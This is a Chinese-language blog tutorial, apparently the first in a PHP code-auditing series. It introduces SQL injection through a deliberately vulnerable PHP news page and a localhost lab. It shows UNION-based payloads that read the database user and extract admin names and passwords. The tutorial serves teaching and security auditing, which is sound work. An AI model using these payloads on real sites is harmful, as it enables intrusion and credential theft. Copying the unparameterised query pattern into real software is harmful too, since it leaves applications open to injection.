网站首页 > 开源技术 正文
0x01 前言
301:安全技术系列的文章还是啦,先会从一些初级的内容开始。:)近几年随着web安全人才的升级,越来越多的安全研究人员投入到php应用的漏洞挖掘,相应的代码安全问题也被大量的披露出来。身处这个时代,我有幸见识到身边白帽子不断寻求突破并丰富和完善了代码审计这个概念,时至今日笔者总结了一套基础的审计方法,厚着脸皮取名为代码审计的艺术,希望能够帮助新人更好的认识和进入这一领域。
0x02 准备
知识储备:php基础、MySql入门
工具:notepad++
服务器环境:wamp
0x03 代码审计脑图
总结好的审计脑图如下:
脑图主要总结了SQL注入、代码&&命令执行、文件操作相关以及设计缺陷四种常见漏洞,每种漏洞又有很多种情况和案例,所以后面的文章会陆续把这些做成案例分享给大家。这篇首先介绍一下SQL注入漏洞。
0x04 SQL注入入门
现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select、Insert、Update和Delete四种类型,注入也是对这四种基本操作的拼接产生的。接下来笔者将以Select为例引导新手初步了解SQL注入。Select是数据库的查询操作,所以常常出现在像文章查看和搜索这些地方,缺陷代码如下:
<?php
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
//这里id没有做整形转换
$id = isset($_GET['id']) ? $_GET['id'] : 1;
//sql语句没有单引号保护,造成注入
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error);
?>
然后我们输入”
http://localhost/sqltest/news.php?id=1and 1=1”,发现返回了跟上面一样的结果,然后我们查了下sql查询的日志,成功执行的sql语句如下:
SELECT * FROM news WHERE id=1 and 1=1
然后看了下数据库表news里有三个字段,我们构造一个union联合查询的语句”
http://localhost/sqltest/news.php?id=-1union select 1,2,3”,页面输出了2和3:
对应执行的sql语句:
SELECT * FROM news WHERE id=-1 union select 1,2,3
2和3都是输出点,我们可以构造获取MySql数据库的用户名的语句”
http://localhost/sqltest/news.php?id=-1union select 1,user,3”,页面输出了root@localhost:
对应执行的sql语句:
SELECT * FROM news WHERE id=-1 union select 1,user,3
进一步观察数据库,发现除了news表外还有个admin表,我们可以构造获取管理员账户密码的语句”
http://localhost/sqltest/news.php?id=-1union select 1,2,concat(name,0x23,pass) from admin”
对应执行的sql语句:
SELECT * FROM news WHERE id=-1 union select 1,2,concat(name,0x23,pass) from admin
本文是php安全代码审计系列的一篇,希望能从浅入深完成一则系列文章,如果你感兴趣,欢迎转发。:)你的鼓励是作者编写的动力。
- 上一篇: 白帽子分享之代码的艺术系列—第二篇
- 下一篇: 超级简单的搭建LAMP_lamp搭建服务器教程
猜你喜欢
- 2025-10-02 屠龙之技 --sql注入 不值得浪费超过十天 实战中sqlmap--lv 3通杀全国
- 2025-10-02 dart系列之:实时通讯,在浏览器中使用WebSockets
- 2025-10-02 自学网络安全多且杂,小白不知道从哪下手?
- 2025-10-02 白帽子分享之代码审计的艺术系列第三季
- 2025-10-02 超级简单的搭建LAMP_lamp搭建服务器教程
- 2025-10-02 白帽子分享之代码的艺术系列—第二篇
- 2025-10-02 新闻发布系统(源代码)_新闻发布系统功能模块图
- 2025-10-02 网络协议之:WebSocket的消息格式_websocket发送消息
- 2025-10-02 花生壳内网穿透+Windows系统,如何搭建网站?
- 2025-10-02 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
你 发表评论:
欢迎- 最近发表
- 标签列表
-
- jdk (81)
- putty (66)
- rufus (78)
- 内网穿透 (89)
- okhttp (70)
- powertoys (74)
- windowsterminal (81)
- netcat (65)
- ghostscript (65)
- veracrypt (65)
- asp.netcore (70)
- wrk (67)
- aspose.words (80)
- itk (80)
- ajaxfileupload.js (66)
- sqlhelper (67)
- express.js (67)
- phpmailer (67)
- xjar (70)
- redisclient (78)
- wakeonlan (66)
- tinygo (85)
- startbbs (72)
- webftp (82)
- vsvim (79)
本文暂时没有评论,来添加一个吧(●'◡'●)